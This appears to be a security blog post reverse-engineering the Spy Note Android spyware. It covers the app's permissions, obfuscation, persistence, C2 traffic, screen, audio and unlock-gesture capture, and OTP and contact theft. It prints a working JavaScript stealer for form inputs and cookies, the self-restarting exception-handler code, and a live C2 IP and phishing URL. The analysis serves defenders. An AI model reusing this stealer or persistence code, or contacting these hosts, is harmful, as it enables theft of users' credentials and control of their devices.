Spy Note Android Malware Analysis

This blog post uncovers a detailed analysis of Spy Note Android Malware.

January 11, 2025 - 13 minute read -
Security Reverse Android Malware Analysis Mobile

AnDetect

Content:

  1. Intro
  2. Entry Point
  3. Main Activity
  4. C2 Server
  5. Spying Capabilities
  6. Conclusion

Intro

Back in 2017, Spy Note was discovered posing as the Netflix app. It has RAT capabilities that allow it to perform malicious actions on Android devices. In January 2023, a new variant of Spy Note was found impersonating well-known mobile apps like WhatsApp, Facebook, and Google Play, as well as more generic apps such as wallpaper apps, productivity apps, and even gaming apps. In this blog post, we will analyze most of the functionalities it performs and explore how it can compromise user privacy and critical data.

Entry Point

Let’s first look at the AndroidManifest.xml file to have an overview of the application’s classes and definitions. The pre-defined following 31 permissions was assigned to the app and most importantly gives the application the ability to do the following:

  • Send SMS messages
  • Read call log
  • Read contact list
  • Access Camera and percise device’s location
  • Record audio from the device’s microfone
  • Disable lock screen
  • Read/Write to external storage
  • Ability to install and remove applications
  • Access to internet and wifi networks
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
<uses-permission android:name="oplus.permission.OPLUS_COMPONENT_SAFE"/>
<uses-permission android:name="com.huawei.permission.external_app_settings.USE_COMPONENT"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.android.alarm.permission.SET_ALARM"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>

As you can see below, the malware implements some sort of obfuscation on the classes and function names. Digging deeper, you’ll notice that the obfuscation technique is just an insertion of random chars in the middle of the class or method name.

Spy Note

Therefore, Mylyuntblmikcenkxceinxkcnkcdjwktzpuzlzdnjbmjtudkgqxb14Application, which is the entry activity class, will be MyApplication. Next, cleaning all other classes’ names so that we can easily continue analyzing tha malware.

Some of the classes are not obfuscated as we described and kept it as it is.

Scheduler Run

In the entry class, the app has a well-implemented trick to keep itself running. It registers a Thread.setDefaultUncaughtExceptionHandler callback, which tells the JVM if any unhandled exception has occurred. The application schedules itself to run again after a second via the AlarmManager system service, as you can see in the snippet below.

Thread.setDefaultUncaughtExceptionHandler(new Thread.UncaughtExceptionHandler() {
    public void uncaughtException(Thread thread, Throwable th) {
        MyApplication myApplication = MyApplication.this;
        String exceptionInformation = myApplication.getExceptionInformation(th, myApplication.getApplicationContext());
        if (wsfokmvmcshlqtqmbcoglszscsewjugqxkmygzrkdiudhqjigs38.echo) {
            String str = ngmnirovqjnqgajxajbdwddatjoeofelxjqmvstbqnbjrbxkhs9.EX;
            wsfokmvmcshlqtqmbcoglszscsewjugqxkmygzrkdiudhqjigs38.uyzcwzjgtnouhyxrvjdiqefnzxvpmlzgqywbflfzjtevyyorhz52(str, ("Error :" + exceptionInformation).getBytes());
        } else {
            _MySettings.Write(MyApplication.this.getApplicationContext(), _MySettings.Crash, exceptionInformation);
        }
        Intent intent = new Intent(MyApplication.this.getApplicationContext(), MainActivity.class);
        intent.addFlags(268468224);
        ((AlarmManager) MyApplication.this.getSystemService(NotificationCompat.CATEGORY_ALARM)).set(1, System.currentTimeMillis() + 1000, PendingIntent.getActivity(MyApplication.this.getApplicationContext(), 0, intent, 1275068416));
        System.exit(2);
    }
});

It also keeps track of the exception details that occur while it’s running via the getExceptionInformation function.

Spy Note

Main Activity

As described, the scheduler was set with an intent with this class xtkxxuojslebyxwckonorenubwmjxgrdfwrnbhiccrpdhunfel31, so I renamed it MainActivity. While looking at the onCreate method, jadx wouldn’t be able to decompile it. So, lets look at its smali code. It first gets the screen display width and height and write those value into SharedPreferences via _MySettings class. Then, it performs some default emulator checks via Anti_emu, isEmu_DIV_ID_lator, and AsknoEmu.

Spy Note

As you can see in isEmu_DIV_ID_lator, the strings have the same obfuscation technique and it deobfuscates them at runtime. Deobfuscation leads to some generic emulator names. I’ve demonstrated such methods in this blog post. The AsknoEmu method propmts a message of emulator detection with different languages. Main activity also requests auto start and draw over apps permissions to work properly in the background.

Spy Note

After that, it initializes WebView with setJavaScriptEnabled being enabled which loads the following URL https://appfreelancer-87696.web.app/ that was found in the code and was still up and running.

C2 Server

Back to MyApplication, while an uncaught exception is occurring, the malware sends the exception error details to this method: uyzcwzjgtnouhyxrvjdiqefnzxvpmlzgqywbflfzjtevyyorhz52, which is a method under a service class named wsfokmvmcshlqtqmbcoglszscsewjugqxkmygzrkdiudhqjigs38. Digging deeper into this service, a connection function was found at the end of the class. Additionally, the C2 server IP 157.10.203.155 and port 7771 were also found, base64 encoded, in another service named uooxuybinieguhhahsxdwslzrhshusblbobbbjtkftrljhdkjr71.

Spy Note

Spy Note

Looking again at MainConnectionService, It creates a connection to the C2 and encodes any meesage with Gzip before sending it. The first meesage it sends to the C2 contains the following -1[ip]:[port]:AppData:system_info:system_config:meta_data:[ip]:11000011:[CR]:V4:.

Spy Note

Spy Note

At the time of writing this blog, the C2 server seems down or uses the same port, as it appeared in wireshark, with another service/connection. So, I had to simulate my machine as a C2 with the same ip.

Spy Note

Spying Capabilities

The spyware utilizes various services and broadcast receivers to ensure its functionality remains active. So, I set up a Python server to capture the messages it sends.

import socketserver ,threading
import gzip
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass
class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        while True:
            inp = self.request.recv(1024).strip()
            print(inp.hex())
            try:
                print(gzip.decompress(inp[6:]))
            except:
                pass

socketserver.TCPServer.allow_reuse_address = True
server = ThreadedTCPServer(("0.0.0.0", 7771), MyTCPHandler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
server.serve_forever()

The spyware seems to track the applications a user opens and sends this information to the C2 server.

$ C:/Python310/python.exe ./server.py
b'-AGoogle Play Store'
b'-ASystem UI'
b'-ASettings'
b'-ASystem UI'
b'-AChrome'
b'-ASystem UI'
b'-ASamsung Notes'
b'-A'
b'-AGallery'
b'-A'
b'-ASystem UI'
b'-A'
b'-AContacts'
b'-A'

It also includes a recording and logging feature to track the user’s activity and store it encrypted in the /Config/sys/apps/log directory. The encryption utility class was found with a key that uses plain AES/ECB algorithm.

/* renamed from: rick.ima.vlhoudgqvelssaagghdkwlnbxhydmfrogwrkedxwibafeicgfc2.xeieqyfbodhpjcnnvuvrmzmibanduvsmuqzasbvlzbblxyfefu4.Encryptionngmnirovqjnqgajxajbdwddatjoeofelxjqmvstbqnbjrbxkhs9Utils */
/* loaded from: classes.dex */
public class EncryptionUtils {
    private static final String AES_ALGORITHM = "AES";
    private static final String SECRET_KEY = "93b89a273c1fbe59073af7bd9adfa6c0";

    public static String encrypt(String str) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(SECRET_KEY.getBytes(), AES_ALGORITHM);
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(1, secretKeySpec);
        return Base64.encodeToString(cipher.doFinal(str.getBytes()), 0);
    }

    public static String decrypt(String str) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(SECRET_KEY.getBytes(), AES_ALGORITHM);
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(2, secretKeySpec);
        return new String(cipher.doFinal(Base64.decode(str, 0)));
    }
}

Persistance

In addition to the uncaughtExceptionHandler callback, the spyware persist itself by controling the uninstall cancel button whenever you try to uninstall it via UI. The only way to uninstall it is via adb uninstall command though.

Spy Note

Spy Note

It also requests auto start permissions in order to continue running even after the device is rebooted.

Spy Note

Device Full Control

The Spy Note extends a full AccessibilityService class that will do anything on the user’s device that includs:

  • Monitoring UI interactions.
  • Manipulate device security settings.
  • Perform device’s custom actions.
  • Capture visited URLs and screen gestures.
  • Request device’s administrator.

In Adnroid, AccessibilityService is a special service designed to help apps interact with the user interface in ways that are useful for accessibility purposes, such as for users with disabilities. Threat actors and malware authors abuse these features to control the user’s device rather in just few lines of code.

Spy Note

Spy Note

It also has controlling capabilities for each device manefacturer (Xiaomi, Oppo, Samsung, etc.) as seen below.

Spy Note

Spy Note

Screen Capture

One of the main services are used to capture screenshots and send it to the C2 server. The images below shows the scrennshot was stored in an ArrayList and the items was added in it as Bitmap via another ImageReader.OnImageAvailableListener class.

Spy Note

Spy Note

Another background service was used to record conversations via device’s microphone and it has been used in MainConnectionService and saves the audio files in the external storage directory /Config/sys/apps/rc/.

Spy Note

Device Unlock

After some time digging into what the spyware can also do, I found another trick that unlocks the devices whenever the user leaves it. It records the screen gestures click positions when the user trying to unlock the device and save it in /Config/sys/apps/tch/UNLOCK.json file. Then, it loads the points again to unlock the device.

Spy Note

Spy Note

Here’s the UNLOCK.json files that was found during the analysis. It turns out, it captured the points when I tried to enter the password wrong multiple times and the last 5 ponts was the correct ones after simulating it on the emulator.

$ cat /mnt/sdcard/Config/sys/apps/tch/UNLOCK.json
{"C0":[{"x":213,"y":957}],"C1":[{"x":731,"y":960}],"C2":[{"x":261,"y":1085}],"C3":[{"x":245,"y":902}],"C4":[{"x":245,"y":902}],"C5":[{"x":780,"y":795}],"C6":[{"x":780,"y":795}],"C7":[{"x":780,"y":795}],"C8":[{"x":258,"y":957}],"C9":[{"x":398,"y":946}],"C10":[{"x":712,"y":982}],"C11":[{"x":239,"y":1067}],"C12":[{"x":687,"y":1449}]}

Note that, the screen view is starting from the top left corner of the display.

Camera and Video Capture

One more service is used to capture live video from the device’s camera and then save the video frames for later use. When an Android application requests to use the camera to capture images or videos, it displays them on a SurfaceView. This is the typical usage of the SurfaceHolder class, as seen in the image below.

Spy Note

Spy Note

Stealing User’s Credentials

Further analysis shows that the spyware is awaiting special commands from the C2 server. Most commands are found in a hidden background service function. One of these commands starts with lnk<*>; if so, it is followed by a link to open via a crafted WebView Activity that inserts malicious js code on the fly and steals any inputs the user enters, along with their cookies. After that, the collected data, along with the visited link, will be saved into a file in the /Config/sys/apps/Data directory.

Spy Note

Spy Note

Here’s the formatted stealer script below.

var frame = null;
g = () => {
    if (!frame) {
        frame = document.createElement('iframe');
        frame.style.display = 'none';
        document.body.appendChild(frame);
    }
    console = frame.contentWindow.console;
    var inputs = document.querySelectorAll('input');
    var websiteLink = window.location.href;
    var alltext = "";
    inputs.forEach(function (input) {
        var type = input.getAttribute('type');
        var value = input.value;
        if (value !== "" && value !== null && type !== "hidden" && type !== "checkbox") {
            alltext += "[" + type + "]: " + value + "~" + "[Cookie]:" + document.cookie + "~";
        }
    });
    return alltext;
};
g();

Command Execution

In addition to the functionalities described above, Spy Note can also execute commands sent by the C2 on the affected device and then send the results back to the C2 server.

Spy Note

Spy Note

OTP and Contacts Exfiltration

The Spy Note also requests the android.permission.READ_SMS permission, even though there is no indication of it collecting SMS messages from the user’s device in this version. Instead, it was found listening for any verification SMS sent to the device via the SmsRetriever API. This API is part of Google’s Play services and is used to retrieve authentication-based SMS (such as in the case of a OTP).

Spy Note

Besides the OTP retriever capability, it also exfiltrates all the contacts stored on the device and send it one by one via SMS to a specific phone number sent by the C2 server.

Spy Note

Conclusion

There are other unmentioned functionalities, such as maintaining Wi-Fi connections when the device is idle and creating Wi-Fi Peer-to-Peer (Wi-Fi Direct) communication, which allows devices to interact with each other without needing an access point (router). Spy Note: With all these capabilities, it functions somewhat like a Remote Access Tool (RAT). It also has different variants that will continue to spread, and threat actors will keep using it to collect critical user data. As a normal user, you should avoid installing games or applications from unknown sources, other than legitimate app stores like Google Play.